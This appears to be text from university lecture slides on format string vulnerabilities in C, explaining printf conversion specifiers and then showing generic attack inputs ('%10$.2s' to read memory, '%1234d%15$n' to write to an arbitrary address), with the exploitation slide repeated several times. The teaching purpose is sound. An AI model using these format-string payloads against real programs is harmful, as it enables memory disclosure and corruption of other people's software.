Format String Conversion Specifications (3/3)

- The **length modifier** affects input/variable itself
- The **format specifier** affects output/how-to-build-an-string
- Important conversion format specifiers are
  - d → prints a decimal
  - x → prints a hexadecimal
  - c → prints a character
  - s → dereferences a pointer to print a C-string
  - n → stores number of printed characters
  - p → prints a pointer

- And it is possible to reorder or reuse the arguments dynamically
  - `printf("Two is %2$d or Three is %1$d\n", 2, 3);`
  - **Two is 3 or Three is 2**
More Functions Supporting Format Strings

- `printf`, `fprintf`, `sprintf`, `snprintf`
- `vprintf`, `vfprintf`, `vsprintf`, `vsnprintf`
- `scanf`, `fscanf`, `sscanf`, ...
Outline

1. Buffer Overflow Vulnerabilities
2. Integer Overflow Vulnerability
3. Format String Vulnerability
   - The printf Format String
   - Exploitation Technique
If an adversary can pass an arbitrary format string to `printf`

Any memory address can be read

- `printf("%10$.2s")`
- Look at the position of the 10th following argument in the stack, assume that it is a pointer to an array of characters, and print two characters from the corresponding string
- How to ensure that a valid address exists on the stack?
  - Append the address to the end of the format string itself which might be in some buffer on the stack

Arbitrary values can be written into arbitrary addresses

- `printf("%1234d%15$n")`
- First prints 1234 bytes and then stores the 1234 (number of printed characters) in the location which its address is provided on the stack (in the position of the 15th following argument)
If an adversary can pass an arbitrary format string to `printf...

Any memory address can be read

- `printf("%10$.2s");`
- Look at the position of the 10th following argument in the stack, assume that it is a pointer to an array of characters, and print two characters from the corresponding string
- How to ensure that a valid address exists on the stack?
  - Append the address to the end of the format string itself which might be in some buffer on the stack

Arbitrary values can be written into arbitrary addresses

- `printf("%1234d%15$n");`
- First prints 1234 bytes and then stores the 1234 (number of printed characters) in the location which its address is provided on the stack (in the position of the 15th following argument)
If an adversary can pass an arbitrary format string to `printf`...

Any memory address can be read

- `printf("%10$.2s");`
- Look at the position of the 10th following argument in the stack, assume that it is a pointer to an array of characters, and print two characters from the corresponding string
- How to ensure that a valid address exists on the stack?
  - Append the address to the end of the format string itself which might be in some buffer on the stack

Arbitrary values can be written into arbitrary addresses

- `printf("%1234d%15$n");`
- First prints 1234 bytes and then stores the 1234 (number of printed characters) in the location which its address is provided on the stack (in the position of the 15th following argument)
If an adversary can pass an arbitrary format string to `printf`...

Any memory address can be read

- `printf("%10$.2s");`
- Look at the position of the 10th following argument in the stack, assume that it is a pointer to an array of characters, and print two characters from the corresponding string
- How to ensure that a valid address exists on the stack?
  - Append the address to the end of the format string itself which might be in some buffer on the stack

Arbitrary values can be written into arbitrary addresses

- `printf("%1234d%15$n");`
- First prints 1234 bytes and then stores the 1234 (number of printed characters) in the location which its address is provided on the stack (in the position of the 15th following argument)
Format String Vulnerability – Avoidance

- **Unsafe code:**
  - `printf(input);`

- **Safe code:**
  - `printf("\%s", input);`
References and Further Reading (1/2)


References and Further Reading (2/2)

- **[cwe190]** The MITRE Corporation, “CWE-190: Integer Overflow or Wraparound,” Common Weakness Enumeration, Online: https://cwe.mitre.org/data/definitions/190.html, 2019
- **[cppref:printf]** “std::printf, std::fprintf, std::sprintf, std::snprintf,” cppreference.com, Online: https://en.cppreference.com/w/cpp/io/c/printf, 2018